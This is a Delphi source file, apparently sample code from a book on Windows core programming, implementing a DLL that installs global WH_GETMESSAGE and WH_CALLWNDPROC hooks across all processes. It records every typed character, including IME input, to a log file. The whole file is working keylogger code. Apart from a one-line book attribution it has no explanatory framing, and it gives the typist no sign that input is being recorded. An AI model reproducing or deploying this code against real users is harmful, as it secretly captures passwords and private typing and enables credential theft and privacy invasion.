unitgetkeydll.pas

在delphi中实现windows核心编程.原书光盘代码核心编程.原书光盘代码

unit UnitGetkeyDll;

interface

uses
  windows,
  messages,dialogs,forms,
  sysutils,UnitConst;

  procedure InstallGetkey; stdcall;
  procedure RemoveGetkey; stdcall;

implementation

var
  MemFile: THandle;
  pShMem: PGetkeyMem;
  HHCallWndProc,HHGetMsgProc: HHook;

procedure SaveInfo(str: string); stdcall;
var
  f: textfile;
begin
  {保存为文件信息}
  assignfile(f, FileName);
  if fileexists(FileName) = false then rewrite(f)
  else append(f);
  if strcomp(pchar(str), pchar('#13#10')) = 0 then writeln(f, '')
  else write(f, str);
  closefile(f);
end;

procedure HookProc(hWnd: integer; uMessage: integer; wParam: WPARAM; lParam: LPARAM); stdcall;
begin
  if (uMessage = WM_CHAR) and (lParam <> 1) then
  begin
    SaveInfo(format('%s', [chr(wparam and $FF)]));
    inc(pShMem^.count);
    if pShMem^.count > 60 then
    begin
      SaveInfo('#13#10');
      pShMem^.count := 0;
    end;
  end;
  if (uMessage = WM_IME_CHAR) then
  begin
    SaveInfo(format('%s%s', [chr((wparam shr 8) and $FF), chr(wparam and $FF)]));
    inc(pShMem^.count, 2);
  end;
end;

function GetMsgProc(nCode: integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
var
  pcs: PMSG;
begin
  pcs := PMSG(lParam);
  if (nCode >= 0) and (wParam=PM_REMOVE)and (pcs <> nil) and (pcs^.hwnd <> 0) then
  begin
     HookProc(pcs^.hwnd, pcs^.message, pcs^.wParam, pcs^.lParam);
  end;
  Result := CallNextHookEx(HHGetMsgProc, nCode, wParam, lParam);
end;

function CallWndProc(nCode: integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
var
  pcs: PCWPSTRUCT;
begin
  pcs := PCWPSTRUCT(lParam);
  if (nCode >= 0) and (pcs <> nil) and (pcs^.hwnd <> 0) then
  begin
    HookProc(pcs^.hwnd, pcs^.message, pcs^.wParam, pcs^.lParam);
  end;
  Result := CallNextHookEx(HHCallWndProc, nCode, wParam, lParam);
end;

procedure Intro;
begin
  MemFile := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(TGetKeyMem), MemNameGetkey);
  pShMem := MapViewOfFile(MemFile, FILE_MAP_WRITE or FILE_MAP_READ, 0, 0, 0);
end;

procedure Extro;
begin
  if pShMem<>nil then
  begin
     UnmapViewOfFile(pShMem);
     pShMem:=nil;
  end;
  if memfile<>0 then
  begin
     CloseHandle(MemFile);
     MemFile:=0;
  end;
end;

procedure RemoveGetkey;
begin
   if HHGetMsgProc <> 0 then UnhookWindowsHookEx(HHGetMsgProc);
   HHGetMsgProc := 0;
   if HHCallWndProc <> 0 then UnhookWindowsHookEx(HHCallWndProc);
   HHCallWndProc := 0;
end;

procedure InstallGetKey; stdcall;
var
  p: PInstallMem;
  h: THandle;
begin
  pShMem^.Count:=0;
  pShMem^.LibHandle:=hInstance;
  if HHGetMsgProc = 0 then
     HHGetMsgProc := SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc, hinstance, 0);
  if HHCallWndProc = 0 then
     HHCallWndProc := SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, hinstance, 0);
  h:=OpenFileMapping(FILE_MAP_WRITE or FILE_MAP_READ, false, MemNameInstall);
  if h<>0 then
  begin
    p:=MapViewOfFile(h,FILE_MAP_READ,0,0,0);
    if p<>nil then
    begin
      postmessage(p^.MainFormHandle, wm_user, 1, 1);
      UnmapViewofFile(p);
    end;
    closeHandle(h);
  end;
  pShMem^.ExitIt:=false;
  while not pShMem^.ExitIt do application.ProcessMessages;
  ExitThread(0);
end;

initialization
      Intro;
finalization
      Extro;

end.